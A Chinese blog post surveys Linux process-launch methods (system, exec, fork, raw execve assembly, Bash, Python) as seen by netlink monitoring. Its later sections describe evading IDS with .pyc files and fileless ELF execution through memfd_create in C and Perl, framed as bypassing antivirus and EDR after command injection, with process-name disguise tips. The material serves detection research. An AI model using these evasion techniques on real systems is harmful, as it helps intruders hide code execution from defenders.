zoukankan      html  css  js  c++  java
  • Linux进程启动/指令执行方式研究

    1. 通过glibc api执行系统指令

    0x1:system() glibc api

    system是linux系统提供的函数调用之一,glibc也提供了对应的封装api。

    system函数的原型为:

    #include <stdlib.h>
    int system (const char *string);

    它的作用是,运行以字符串参数的形式传递给它的命令并等待该命令的完成。命令的执行情况就如同在shell中执行命令:sh -c string。

    如果无法启动shell来运行这个命令,system函数返回错误代码127;如果是其他错误,则返回-1。否则,system函数将返回该命令的退出码。

    #include <stdlib.h>
    #include <stdio.h>
     
    int main()
    {
        printf("Running ps with system
    ");
        system("ps au");// 1
        printf("ps Done
    ");
        exit(0);
    }
    
    # gcc -o new_ps_system new_ps_system.c

     

    netlink监控到的进程链信息如下:

     

    0x2:exec系列 glibc api

    exec系列函数由一组相关的函数组成,它们在进程的启动方式和程序参数的声明上各有不同。但是exec系列函数都有一个共同的工作方式,就是把当前进程替换为一个新进程,也就是说我们可以使用exec函数将程序的执行从一个程序切换到另一个程序,在新的程序启动后,原来的程序就不再执行了。

    新进程由path或file参数指定。

    #include <unistd.h>
     
    char **environ;
     
    int execl (const char *path, const char *arg0, ..., (char*)0);
    int execlp(const char *file, const char *arg0, ..., (char*)0);
    int execle(const char *path, const char *arg0, ..., (char*)0, char *const envp[]);
     
    int execv (const char *path, char *const argv[]);
    int execvp(cosnt char *file, char *const argv[]);
    int execve(const char *path, char *const argv[], char *const envp[]);

    如果想用exec系统函数来启动ps进程,则这6个不同的函数的调用语句为:

    char *const ps_envp[] = {"PATH=/bin:usr/bin", "TERM=console", 0};
    char *const ps_argv[] = {"ps", "au", 0};
     
    execl("/bin/ps", "ps", "au", 0);
    execlp("ps", "ps", "au", 0);
    execle("/bin/ps", "ps", "au", 0, ps_envp);
     
    execv("/bin/ps", ps_argv);
    execvp("ps", ps_argv);
    execve("/bin/ps", ps_argv, ps_envp);

    完整的例子如下,

    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
     
    int main()
    {
        printf("Running ps with execlp
    ");
        execlp("ps", "ps", "au", (char*)0);
        printf("ps Done");
        exit(0);
    }
    
    # gcc -o new_ps_exec new_ps_exec.c -lm

    从netlink监控到的进程启动消息可以看到,通过exec方式启动的新进程,直接将当前进程替换为了新的指令进程。

    需要注意的是,一般情况下,exec函数是不会返回的,除非发生错误返回-1,由exec启动的新进程继承了原进程的内存空间和句柄,在原进程中已打开的文件描述符在新进程中仍将保持打开,但任何在原进程中已打开的目录流都将在新进程中被关闭。 

    所以我们可以发现,最后的ps Done并没有输出,因为程序并没有再一次返回到程序new_ps_exec.exe上。

    因为调用execlp函数时,new_ps_exec.exe进程被替换为ps进程,当ps进程结束后,整个程序就结束了,并没有回到原来的new_ps_exec.exe进程上,原本的进程new_ps_exec.exe不会再执行,所以语句printf("ps Done");根本没有机会执行。

    0x3:fork() glibc api

    # multiprocessing.py
    import os
    
    print 'Process (%s) start...' % os.getpid()
    pid = os.fork()
    if pid==0:
        print 'I am child process (%s) and my parent is %s.' % (os.getpid(), os.getppid())
    else:
        print 'I (%s) just created a child process (%s).' % (os.getpid(), pid)

    netlink监控到的进程链信息如下:

    Relevant Link: 

    https://blog.csdn.net/ljianhui/article/details/10089345 
    https://www.ibm.com/developerworks/cn/linux/l-connector/index.html

    2. 通过syscall系统调用执行指令

    除了通过glibc调用fork/execv之外,还可以绕过glibc,直接通过汇编触发“int80中断”,从而直接使用操作系统提供的系统调用能力。

    0x1:system syscall

    0x2:execve syscall

    asm_execve.s 

    .section .data
    file_to_run:
    .ascii       "/bin/sh"
    
    .section .text
    .globl main
    
    main:
        pushl %ebp
        movl %esp, %ebp
        subl $0x8, %esp         # array of two pointers. array[0] = file_to_run  array[1] = 0
    
        movl file_to_run, %edi
        movl %edi, -0x4(%ebp)   
        movl $0, -0x8(%ebp)
    
        movl $11, %eax                      # sys_execve
        movl file_to_run, %ebx              # file to execute       
        leal -4(%ebp), %ecx                 # command line parameters
        movl $0, %edx                       # environment block
        int  $0x80              
    
        leave
        ret

    Makefile

    NAME = asm_execve
    $(NAME) : $(NAME).s
        gcc -o $(NAME) $(NAME).s

    编译并执行

    gcc -o asm_execve asm_execve.s

    上述汇编原理上和下面这段C代码是等价的,

    char *data[2];
    data[0] = "/bin/sh"; 
    data[1] = NULL;
    execve(data[0], data, NULL);

    x64版本的汇编如下:

    .section .text
    .globl main
    
    main:
        xor %rdx, %rdx 
        push %rdx
    
        sub $0x16, %rsp
        movb $0x2f, 7(%rsp)
        movl $0x2f6e6962, 8(%rsp)
        movl $0x746163, 12(%rsp)
        leaq 7(%rsp), %rdi
    
        pushq %rdx
    
        push %rdi
    
        mov %rsp, %rsi
    
        movb $0x3b, %al 
        syscall

    Relevant Link: 

    https://stackoverflow.com/questions/9342410/sys-execve-system-call-from-assembly
    https://stackoverflow.com/questions/47897025/assembly-execve-bin-bash-x64
    https://www.exploit-db.com/exploits/35205
    https://reverseengineering.stackexchange.com/questions/21634/how-to-pass-param-to-execve-to-execute-cat-a-file-in-x64-asm

    3. 通过Bash执行指令

    0x1:Bash内置指令执行

    所谓 Shell 内建命令,就是由 Bash 自身提供的命令,而不是文件系统中的某个可执行文件。

    例如,用于进入或者切换目录的 cd 命令,该命令并不是某个外部文件,只要在 Shell 中就直接可以运行这个命令,Bash 会完成指令的解析与执行并返回结果。内建指令不会启动新进程

    可以用type指令来查看某个指令是否是Bash内建指令,

    root@iZbp1i02dgbk14bmjk8m9vZ:~# type cd
    cd is a shell builtin
    root@iZbp1i02dgbk14bmjk8m9vZ:~# type ifconfig
    ifconfig is /sbin/ifconfig

    0x2:通过Bash启动第三方新进程(指令)

    本质上Bash通过调用execve() glibc api来实现的,以执行whoami指令为例,

    同时,netlink会收到一个进程启动事件消息,

    4.  Python启动新进程

    0x1:os.execv()

    #!/usr/bin/python
    #coding=utf-8
    import os
    
    def main():
        print "Running ps with execlp"
        os.execlp("who", 'who')
        print "Done."
    
    main()
    
    # strace python new_proc.py

    strace跟踪如下:

     

    可以看到,python底层还是调用了glibc库的execv api来实现进程启动的。 

    netlink监控消息如下,

    0x2:python Multiprocessing类

    • Unix/Linux下,multiprocessing模块封装了fork()调用,使我们不需要关注fork()的细节
    • Windows没有fork调用,因此,multiprocessing需要“模拟”出fork的效果,父进程所有Python对象都必须通过pickle序列化再传到子进程去

    创建出多进程后,每个新进程都拷贝了一份原主进程的完整py代码,新的多进程可以继续执行py代码中指定的callback函数。

    同时,进程间通信是通过Queue、Pipes等实现的,方便multiprocess进行多进程管理。

    1. Process(用于创建进程模块)

    因为python使用全局解释器锁(GIL),他会将进程中的线程序列化,也就是多核cpu实际上并不能达到并行提高速度的目的,而使用多进程则是不受限的,所以实际应用中都是推荐多进程的。

    #  -*- coding: utf-8 -*-
    
    from multiprocessing import Process
    import time
    import random
    
    def test():
        for i in range(1,5):
            print("---%d---"%i)
            time.sleep(60)
    
    p = Process(target=test)
    p.start()   #让这个进程开始执行test函数里面的代码
    
    p.join()     #等进程p结束之后,才会继续向下走
    print("---main----")

    可以看到,通过python Process类启动的新进程,只会监控到fork事件,从netlink角度来看,就是重复启动了一次原脚本文件。

    2. Pool(用于创建管理进程池)

    #  -*- coding: utf-8 -*-
    
    from multiprocessing import Pool
    import os
    import time
    
    def worker(num):
        for i in range(2):
            print("===pid=%d===num=%d"%(os.getpid(), num))
            time.sleep(1)
    
    pool = Pool(3)  #定义一个进程池,最大进程数3
    
    for i in range(5):
        print("---%d---"%i)
        pool.apply_async(worker, [i,])    #使用非阻塞方式调用func(并行执行,堵塞方式必须
                                          #等待上一个进程退出才能执行下一个进程)
    
    print("---start----")
    pool.close()    #关闭进程池,关闭后pool不能再添加新的请求
    pool.join()     #等待pool中所有子进程执行完成,必须放在close语句之后
    print("---end----")

    可以看到,通过python Pool类启动的新进程,底层还是调用的fork。

    Relevant Link: 

    https://thief.one/2016/11/23/Python-multiprocessing/
    https://blog.csdn.net/Duke10/article/details/79861201
    https://www.liaoxuefeng.com/wiki/897692888725344/923056295693632

    0x3:执行中间态缓存文件

    Python的程序中,是把原始程序代码放在.py文件里,而Python会在执行.py文件的时候。将.py形式的程序编译成中间式文件(byte-compiled)的.pyc文件,这么做的目的就是为了加快下次执行文件的速度。

    同样,攻击者可以提前先编译好pyc文件,之后投递到目标机器上直接执行,从而躲避目标机器上IDS的文本内容审查。

    python -m py_compile ./poc.py

    值得注意的是,pyc文件对后缀是没有强制要求的,任意后缀都可以被执行。 

    5. 无文件进程启动方式

    进程启动的本质是将一段汇编指令(shellcode)从某种媒介上加载到计算机的内存(RAM)中,并触发操作系统的cpu调度,从某个执行的内存地址中开始按照逻辑顺序执行。

    操作系统真正需要的是内存中的shellcode代码以及制定入口点虚拟内存空间,至于这个shellcode从哪里来并不重要,可以是从物理磁盘,也可以是网络IO流,或者是虚拟内存设备。

    在Linux系统中实现无文件执行ELF是渗透测试中一种非常有用的技术。这种方法较为隐蔽,可以绕过各种类型的反病毒保护机制、系统完整性保护机制以及基于硬盘监控的防护系统。通过这种方法,我们能够以最小的动静访问目标。

    0x1:基于linux内存镜像文件 

    我们可以利用linux文件系统中的共享内存分区来存储进程文件,例如

    • /dev/shm
    • /run/shm

    这些目录实际上是挂载到文件系统上已分配的内存空间,写入到这些目录下的文件不会实际落到物理磁盘上。

    但是如果我们使用ls命令,就可以像查看其他目录一样查看这些目录,会发现目录下的进程文件。

    此外,已挂载的这些目录设置了noexec标志,因此只有超级用户才能执行这些目录中的程序。 

    0x2:基于memfd_create创建内存镜像文件 

    1. memfd_create基本介绍 

    #define _GNU_SOURCE         /* See feature_test_macros(7) */
    #include <sys/mman.h>
    
    int memfd_create(const char *name, unsigned int flags);
    
    name参数代表文件名,在/proc/self/fd/目录中我们可以看到该文件名为符号链接的目的文件。显示在/proc/self/fd/目录中的文件名始终带有memfd:前缀,并且只用于调试目的。
    名称并不会影响文件描述符的行为,因此多个文件可以拥有相同的名称,不会有任何影响。
    
    flags标志位,进行tmpfs无文件执行的时候需要MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭

    memfd_create这个系统调用。该系统调用与malloc比较类似,但并不会返回指向已分配内存的一个指针,而是返回指向某个匿名文件的文件描述符。该匿名文件以链接(link)形式存放在/proc/pid/fd/文件系统中。

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <unistd.h>
    
    int main()
    {
        int fd;
        pid_t child;
        char buf[BUFSIZ] = "";
        ssize_t br;
    
        fd = syscall(SYS_memfd_create, "foofile", 0);
        if (fd == -1)
        {
            perror("memfd_create");
            exit(EXIT_FAILURE);
        }
    
        child = fork();
        if (child == 0)
        {
            dup2(fd, 1);
            close(fd);
            execlp("/bin/date", "/bin/date", NULL);
            perror("execlp date");
            exit(EXIT_FAILURE);
        }
        else if (child == -1)
        {
            perror("fork");
            exit(EXIT_FAILURE);
        }
    
        waitpid(child, NULL, 0);
    
        lseek(fd, 0, SEEK_SET);
        br = read(fd, buf, BUFSIZ);
        if (br == -1)
        {
            perror("read");
            exit(EXIT_FAILURE);
        }
        buf[br] = 0;
    
        printf("child said: '%s'n", buf);
    
        exit(EXIT_SUCCESS);
    }
    View Code

    如上代码使用memfd创建一个子进程,将其输出重定向至一个临时文件,等待子进程结束,从临时文件中读取子进程输出数据。通常情况下,*nix环境会使用|管道将一个程序的输出重定向至另一个程序的输入。

    2. 将可执行文件载入内存并启动【C语言】

    • fd = memfd_create("", MFD_CLOEXEC);
    • write(fd, elfbuffer, elfbuffer_len);
    • asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <linux/memfd.h>
    #include <sys/syscall.h>
    #include <errno.h>
     
    int anonyexec(const char *path, char *argv[])
    {
        int   fd, fdm, filesize;
        void *elfbuf;
        char  cmdline[256];
     
        fd = open(path, O_RDONLY);
        filesize = lseek(fd, SEEK_SET, SEEK_END);
        lseek(fd, SEEK_SET, SEEK_SET);
        elfbuf = malloc(filesize);
        read(fd, elfbuf, filesize);
        close(fd);
        fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);
        ftruncate(fdm, filesize);
        write(fdm, elfbuf, filesize);
        free(elfbuf);
        sprintf(cmdline, "/proc/self/fd/%d", fdm);
        argv[0] = cmdline;
        execve(argv[0], argv, NULL);
        free(elfbuf);
        return -1;
    }
     
    int main()
    {
        char *argv[] = {"/bin/uname", "-a", NULL};
        int result =anonyexec("/bin/uname", argv);
        return result;
    }

    3. 使用perl进行memfd_create无文件执行

    假设现在我们已经找到了命令注入点,我们需要找到在目标上执行系统命令的方法。

    上一小节介绍的C语言的memfd_create方式需要在本地编译并执行一个二进制程序,会遇到二进制AV EDR的检测与防御阻断。所以,现在很多白帽子都不会使用C二进制程序来投递载荷了,转而使用行为特征更隐蔽的git脚本语言,例如perl/python/powershell,这类语言本身都预装在操作系统中,而且可以在命令行即时执行而不需要落盘文件。

    1)创建内存匿名文件

    my $name = "";
    my $fd = syscall(319, $name, 1);
    if (-1 == $fd) {
            die "memfd_create: $!";
    }
    • syscall的第一个参数是”调用号(call number)“,我们可以在/usr/include或者网上找到这些信息。系统调用号位于#define中,前缀为__NR_。在这个场景中,64位Linux系统上memfd_create()的系统调用号为319,数字常量为FD_CLOSEXEC 0x0001U
    • syscall的第二个参数是”文件名称“,我们会在/proc/self/fd/目录中看到带有”/memfd:“前缀的文件名。因此我们最好的方法就是选择接近[:kworker]或者看上去不大可疑的另一个名称。
    • syscall的第三个参数是”标志位“,这里1就是代表MFD_CLOEXEC

    现在$fd为匿名文件的文件描述符,我们需要将ELF写入该文件。

    Perl中有个open()函数,通常用来打开文件,我们也可以使用该函数,在参数中指定">&="."匿名文件描述符",将已打开的文件描述符转化为文件句柄。此外这里还需要设置autoflush[]。

    open(my $FH, '>&='.$fd) or die "open: $!";
    select((select($FH), $|=1)[0]);

    完成代码如下:

    #!/usr/bin/env perl
    
    use warnings;
    use strict;
    
    $| = 1;
    
    # open a memory-tmp file
    print "making memory tmp file";
    
    my $name = "";
    my $fd = syscall(319, $name, 1);
    if (-1 == $fd) {
            die "memfd_create: $!";
    }  
    print "fd $fd
    ";
    
    # make a nice perl file handle
    open(my $FH, '>&='.$fd) or die "open: $!";
    select((select($FH), $|=1)[0]);
    
    # load binary into memory-tmp file
    print "writing elf binary to memory...."

    2)将ELF内容写入内存匿名文件

    现在我们已经搞定指向匿名文件的一个文件描述符。接下来我们需要将可执行文件提供给Perl,可以通过如下方式:

    $ perl -e '$/=32;print"print $FH pack q/H*/, q/".(unpack"H*")."/ or die qq/write: $!/;
    "while(<>)' ./elfbinary

    以上命令会输出许多行,如下所示:

    print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e00010000000005400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4000000000000000781a0000000000000000000040003800090040001f001c00/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000005000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/f801000000000000f80100000000000008000000000000000300000004000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/3802000000000000380240000000000038024000000000001c00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/1c00000000000000010000000000000001000000050000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000400000000000000040000000000014080000000000001408000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00002000000000000100000006000000100e000000000000100e600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/100e600000000000400200000000000048020000000000000000200000000000/ or die qq/write: $!/;

    执行这些语句就可以将我们的可执行文件载入内存中,等待执行。

    我们将其保存为一个pl文件,

    3)调用exec函数执行匿名内存文件

    在perl中我们可以使用Exec()来启动新进程。我们需要传递给exec()两个参数:

    • 待执行的文件(内存中的ELF文件)
    • 进程名

    调用exec()的语法如下:

    exec {"/proc/$$/fd/$fd"}

    通常情况下,文件名和进程名相同,但由于我们可以在进程列表中看到/proc/PID/fd/3信息,因此我们需要重命名进程。

    #!/usr/bin/env perl
    
    use warnings;
    use strict;
    
    $| = 1;
    
    # open a memory-tmp file
    print "making memory tmp file";
    
    my $name = "";
    my $fd = syscall(319, $name, 1);
    if (-1 == $fd) {
            die "memfd_create: $!";
    }  
    print "fd $fd
    ";
    
    # make a nice perl file handle
    open(my $FH, '>&='.$fd) or die "open: $!";
    select((select($FH), $|=1)[0]);
    
    # load binary into memory-tmp file
    print "writing elf binary to memory....";
    
    print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e00010000000005400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4000000000000000781a0000000000000000000040003800090040001f001c00/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0600000005000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/f801000000000000f80100000000000008000000000000000300000004000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/3802000000000000380240000000000038024000000000001c00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/1c00000000000000010000000000000001000000050000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000400000000000000040000000000014080000000000001408000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00002000000000000100000006000000100e000000000000100e600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/100e600000000000400200000000000048020000000000000000200000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0200000006000000280e000000000000280e600000000000280e600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/d001000000000000d00100000000000008000000000000000400000004000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5402000000000000540240000000000054024000000000004400000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4400000000000000040000000000000050e5746404000000ec06000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/ec06400000000000ec0640000000000034000000000000003400000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/040000000000000051e574640600000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000001000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/52e5746404000000100e000000000000100e600000000000100e600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/f001000000000000f00100000000000001000000000000002f6c696236342f6c/ or die qq/write: $!/;
    print $FH pack q/H*/, q/642d6c696e75782d7838362d36342e736f2e3200040000001000000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/474e550000000000020000000600000020000000040000001400000003000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/474e5500fbdd36c73284d1dbb8cab32bde9c99bb5b3cc39b0100000001000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0100000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000010000000120000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000150000001200000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/2300000012000000000000000000000000000000000000003500000020000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/000000000000000000000000000000000b000000120000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000001c0000001200000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/006c6962632e736f2e3600657869740070757473007072696e74660065786563/ or die qq/write: $!/;
    print $FH pack q/H*/, q/6c70005f5f6c6962635f73746172745f6d61696e005f5f676d6f6e5f73746172/ or die qq/write: $!/;
    print $FH pack q/H*/, q/745f5f00474c4942435f322e322e350000000200020002000000020002000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/01000100010000001000000000000000751a6909000002004400000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/f80f600000000000060000000400000000000000000000001810600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0700000001000000000000000000000020106000000000000700000002000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000281060000000000007000000030000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/3010600000000000070000000500000000000000000000003810600000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/070000000600000000000000000000004883ec08488b057d0b20004885c07405/ or die qq/write: $!/;
    print $FH pack q/H*/, q/e86b0000004883c408c3000000000000ff35720b2000ff25740b20000f1f4000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/ff25720b20006800000000e9e0ffffffff256a0b20006801000000e9d0ffffff/ or die qq/write: $!/;
    print $FH pack q/H*/, q/ff25620b20006802000000e9c0ffffffff255a0b20006803000000e9b0ffffff/ or die qq/write: $!/;
    print $FH pack q/H*/, q/ff25520b20006804000000e9a0ffffffff25020b200066900000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/31ed4989d15e4889e24883e4f0505449c7c0b006400048c7c14006400048c7c7/ or die qq/write: $!/;
    print $FH pack q/H*/, q/f6054000e897fffffff4660f1f440000b85710600055482d501060004883f80e/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4889e5761bb8000000004885c074115dbf50106000ffe0660f1f840000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/5dc30f1f4000662e0f1f840000000000be50106000554881ee5010600048c1fe/ or die qq/write: $!/;
    print $FH pack q/H*/, q/034889e54889f048c1e83f4801c648d1fe7415b8000000004885c0740b5dbf50/ or die qq/write: $!/;
    print $FH pack q/H*/, q/106000ffe00f1f005dc3660f1f440000803d990a2000007511554889e5e86eff/ or die qq/write: $!/;
    print $FH pack q/H*/, q/ffff5dc605860a200001f3c30f1f4000bf200e600048833f007505eb930f1f00/ or die qq/write: $!/;
    print $FH pack q/H*/, q/b8000000004885c074f1554889e5ffd05de97affffff554889e5bfc4064000e8/ or die qq/write: $!/;
    print $FH pack q/H*/, q/9cfeffffb900000000badb064000bede064000bfde064000b800000000e8befe/ or die qq/write: $!/;
    print $FH pack q/H*/, q/ffffbfe1064000b800000000e87ffeffffbf00000000e895feffff0f1f440000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/415741564189ff415541544c8d25be07200055488d2dbe072000534989f64989/ or die qq/write: $!/;
    print $FH pack q/H*/, q/d54c29e54883ec0848c1fd03e8fffdffff4885ed742031db0f1f840000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/4c89ea4c89f64489ff41ff14dc4883c3014839eb75ea4883c4085b5d415c415d/ or die qq/write: $!/;
    print $FH pack q/H*/, q/415e415fc390662e0f1f840000000000f3c300004883ec084883c408c3000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0100020052756e6e696e67207073207769746820657865636c70006175007073/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00707320446f6e6500000000011b033b3000000005000000a4fdffff7c000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/14feffff4c0000000affffffa400000054ffffffc4000000c4ffffff0c010000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/1400000000000000017a5200017810011b0c070890010710140000001c000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/c0fdffff2a00000000000000000000001400000000000000017a520001781001/ or die qq/write: $!/;
    print $FH pack q/H*/, q/1b0c070890010000240000001c00000020fdffff60000000000e10460e184a0f/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0b770880003f1a3b2a332422000000001c000000440000005efeffff45000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00410e108602430d0600000000000000440000006400000088feffff65000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00420e108f02420e188e03450e208d04420e288c05480e308606480e3883074d/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0e40720e38410e30410e28420e20420e18420e10420e080014000000ac000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/b0feffff02000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/00000000000000000000000000000000d005400000000000b005400000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0000000000000000010000000000000001000000000000000c00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/70044000000000000d00000000000000b4064000000000001900000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/100e6000000000001b0000000000000008000000000000001a00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/180e6000000000001c000000000000000800000000000000f5feff6f00000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/9802400000000000050000000000000060034000000000000600000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/b8024000000000000a0000000000000050000000000000000b00000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/1800000000000000150000000000000000000000000000000300000000000000/ or die qq/write: $!/;
    print $FH pack q/H*/, q/0010600000000000020000000000000078000000000000001400000000000000/ or die qq/write: $!/;
